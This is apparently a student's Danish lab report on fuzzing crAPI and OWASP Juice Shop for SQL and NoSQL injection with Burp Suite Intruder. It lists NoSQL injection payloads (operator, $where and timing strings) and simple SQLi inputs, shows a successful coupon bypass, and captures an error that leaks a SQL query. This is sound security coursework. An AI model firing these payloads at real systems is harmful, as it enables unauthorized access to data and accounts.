Skip to content

Øvelse 15 - Opdage sårbarheder, med fuzz input

Forfatter: Mathias Greisen

Dato: 2026-10-13

Fag/modul: IT-sikkerhed i Webapplikationer

Status: Færdig


1. Beskrivelse af øvelsen

Formålet er at introducere teknikken fuzzing. Fuzzing skal bruges til at finde SQL injection-huller – først i crAPI, derefter i Juice Shop.


2. Reproduktion trin for trin

Forudsætninger

  • CrAPI
  • JuiceShop
  • BurpSuite

Discovering SQL Injection with Fuzzing

  1. Åbn Burp Suite, og opfang en anmodning om validering af en kupon.
  2. Send anmodningen til Intruder.
  3. Markér værdien af coupon, og angiv den som payload-position.
  4. Brug ordlisten Generic-SQLI fra SecLists som payload.
  5. Kør angrebet.
  6. Observer svarene:

    • Hvad er de normale (baseline) statuskoder og indholdslængder?

      • Status: 500, Length: 390
      • Status: 422, Length: 443
    • Hvilke svar adskiller sig fra baseline?

      • Det gør 422 svarene som der kun var 2 af:

        HTTP/1.1 422 Unprocessable Entity
        Server: openresty/1.25.3.1
        Date: Tue, 13 Oct 2026 05:11:51 GMT
        Content-Type: application/json
        Connection: keep-alive
        Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
        Access-Control-Allow-Origin: *
        Content-Length: 56
        
        {
        "error":"invalid character '\\x18' in string literal"
        }
        

Discovering NoSQL Injection with Fuzzing

  1. Opret en lille, brugerdefineret ordliste med NoSQL-payloads.
  2. Brug eventuelt listen nedenfor:

    true
    $where: '1 == 1'
    , $where: '1 == 1'
    $where: '1 == 1'
    ', $where: '1 == 1
    1, $where: '1 == 1'
    { $ne: 1 }
    ', $or: [ {}, { 'a':'a
    ' } ], $comment:'successful MongoDB injection'
    db.injection.insert({success:1});
    db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
    || 1==1
    || 1==1//
    || 1==1%00
    }, { password : /.*/ }
    ' && this.password.match(/.*/)//+%00
    ' && this.passwordzz.match(/.*/)//+%00
    '%20%26%26%20this.password.match(/.*/)//+%00
    '%20%26%26%20this.passwordzz.match(/.*/)//+%00
    {$gt: ''}
    [$ne]=1
    ';sleep(5000);
    ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
    {"$ne": null}
    
  3. Skift payload position så " rundt om coupon værdien også er en del af payload.

  4. Ryd den tidligere payload-liste i Intruder.
  5. Indlæs din nye NoSQL-ordliste som payload.
  6. Kør angrebet.
  7. Hold øje med unormale statuskoder eller uventede indholdslængder i svarene.

    CrAPI Fuzzing NoSQLi resultat.png

    HTTP/1.1 200 OK
    Server: openresty/1.25.3.1
    Date: Tue, 13 Oct 2026 05:28:39 GMT
    Content-Type: application/json
    Connection: keep-alive
    Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
    Access-Control-Allow-Origin: *
    Content-Length: 79
    
    {
    "coupon_code":"TRAC075",
    "amount":"75",
    "CreatedAt":"2026-09-04T07:38:20.311Z"
    }
    

    Betydning af injection:

    {
    "coupon_code":{
        "$ne":null
    }
    }
    
    • "Find documents where coupon_code is not equal to null."

Discovering possible Juice shop SQL injection vulnerability with fuzzing

  1. Opsnap en Juice Shop authentication request, og send den til Intruder.

  2. Opret en lille SQL injection-ordliste med følgende payloads:

    '
    ;
    OR 1==1
    
  3. Brug denne ordliste til at fuzz'e password-parameteren.

  4. Observer svarene. Indeholder nogen af svarene interessant information?

    • Nej de er alle status: 500, Length: 413
    HTTP/1.1 401 Unauthorized
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: text/html; charset=utf-8
    Content-Length: 26
    ETag: W/"1a-ARJvVK+smzAF3QQve2mDSG+3Eus"
    Vary: Accept-Encoding
    Date: Tue, 13 Oct 2026 05:48:54 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    Invalid email or password.
    
  5. Ryd password-feltet, og sæt det til en fast værdi, så feltet ikke længere fuzz'es.

  6. Fuzz username-feltet med den samme ordliste.

  7. Identificer svar med HTTP 500-statuskode, som indeholder bemærkelsesværdigt indhold.

    JuiceShop SQL Injection Resultat

    HTTP/1.1 500 Internal Server Error
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Vary: Accept-Encoding
    Date: Tue, 13 Oct 2026 05:46:57 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    Content-Length: 1164
    
    {
    "error":{
        "message":"SQLITE_ERROR: near \"ecc4208a7778c1d76e7e89c5253128c5\": syntax error",
        "stack":"Error\n    at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n    at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n    at new Promise (<anonymous>)\n    at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n    at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)",
        "name":"SequelizeDatabaseError",
        "parent":{
        "errno":1,
        "code":"SQLITE_ERROR",
        "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL"
        },
        "original":{
        "errno":1,
        "code":"SQLITE_ERROR",
        "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL"
        },
        "sql":"SELECT * FROM Users WHERE email = ''' AND password = 'ecc4208a7778c1d76e7e89c5253128c5' AND deletedAt IS NULL",
        "parameters":{
        }
    }
    }
    

3. Problemer og løsninger

Jeg oplevede ikke problemer under denne øvelse udover at "/usr/share/seclists/Fuzzing/Generic-SQLi.txt" istedet ligger her: "/usr/share/seclists/Fuzzing/Databases/SQLi/Generic-SQLi.txt"


4. Reflekterende spørgsmål

  • What patterns did you observe in the response behavior?

    • At svarene som regel delte sig i 2, nemlig standard fejl-beskeder, og så fejl-beskeder når systemet blev ramt af noget uforudset som kunne være en funden sårbarhed.
  • Why are baseline values important for identifying injection responses?

    • Når man har baseline værdierne kan man let filtrere disse fra og kigge på de andre responses.
  • How does fuzzing differ between SQL and NoSQL injection attempts?

    • Ved sql forsøger man at ændre i selve sql query kommandoen.
    • Ved no sql forsøger man at ændre i structuren eller data typerne.
  • What limitations or risks are associated with blind fuzzing?

    • Det kan tage tid.
    • Mange requests eller specifikke inputs kan måske ligge systemet ned.
    • Potentiale for mange falske positiver, man skal altså selv undersøge en del.
  • What does an HTTP 500 error indicate in the context of fuzzing inputs?

    • At serveren stødte ind i en fejl, hvilket betyder man har ramt en utilsigtet fejl i systemet.
  • How might these responses indicate a vulnerability?

    • Da status 500 betyder "Internal Server Error" har man altså som regel ramt en fejl i logikken inde i selve serveren.
  • Why might fuzzing usernames reveal different information than fuzzing passwords?

    • Fordi username i dette tilfælde bruges til at søge efter brugeren. Men måske opsætningen også er forskellig for hvert parameter i backend koden så det dermed kun er den ene som er sårbar.

5. Opsummering af erfaringer

Jeg har opnået erfaringer med fuzzing og har prøvet at finde sårbarheder med fuzzing teknikker.